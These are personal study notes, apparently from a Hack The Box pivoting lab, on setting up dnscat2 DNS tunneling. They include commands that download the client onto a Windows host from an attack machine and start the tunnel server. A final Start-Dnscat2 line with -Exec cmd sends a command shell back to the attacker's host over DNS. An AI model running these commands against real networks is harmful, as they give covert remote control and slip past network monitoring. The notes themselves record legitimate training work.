Pivoting Around Obstacles Dnscat2

w1j0y

DNS Tunneling with Dnscat2

- https://pentestlab.blog/tag/dnscat2/

- **Cloning dnscat2 and Setting Up the Server**
  - git clone https://github.com/iagox86/dnscat2.git
    - cd dnscat2/server/
    - sudo gem install bundler
    - sudo bundle install
  - **Exercise (What worked for me)**
    - First download the following zip file on our attack host https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip
    - Transfer the file to the windows host machine by using a python http server on our attack host and from powershell on the windows host
    - Invoke-WebRequest "http://10.10.14.177:8000/dnscat2-v0.07-client-win32.zip" -OutFile "C:\Windows\Temp\dnscat2-v0.07-client-win32.zip"
    - Next run the following commands on our attack host and windows host to establish a DNS tunnel
      - .\dnscat2-v0.07-client-win32.exe --dns server=10.10.14.177
      - sudo ruby dnscat2.rb --dns host=10.10.14.177,port=53,domain=inlanefreight.local --no-cache

- **Starting the dnscat2 server**
  - sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache
    - After running the server, it will provide us the secret key, which we will have to provide to our dnscat2 client on the Windows host so that it can authenticate and encrypt the data that is sent to our external dnscat2 server.

- We can use the client with the dnscat2 project or use dnscat2-powershell, a dnscat2 compatible PowerShell-based client that we can run from Windows targets to establish a tunnel with our dnscat2 server.
  - **Cloning dnscat2-powershell to the Attack Host**
    - w1j0y@htb[/htb]$ git clone https://github.com/lukebaggett/dnscat2-powershell.git

- sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache
  - dnscat2> ?
  - dnscat2> window -i 1

Transfer dnscat2.ps1

Confirming Session Establishment

Windows Attack Host
- **Importing dnscat2.ps1** —— PS C:\htb> Import-Module .\dnscat2.ps1
- After dnscat2.ps1 is imported, we can use it to establish a tunnel with the server running on our attack host. We can send back a CMD shell session to our server.
  - PS C:\htb> Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd

Presented with xmind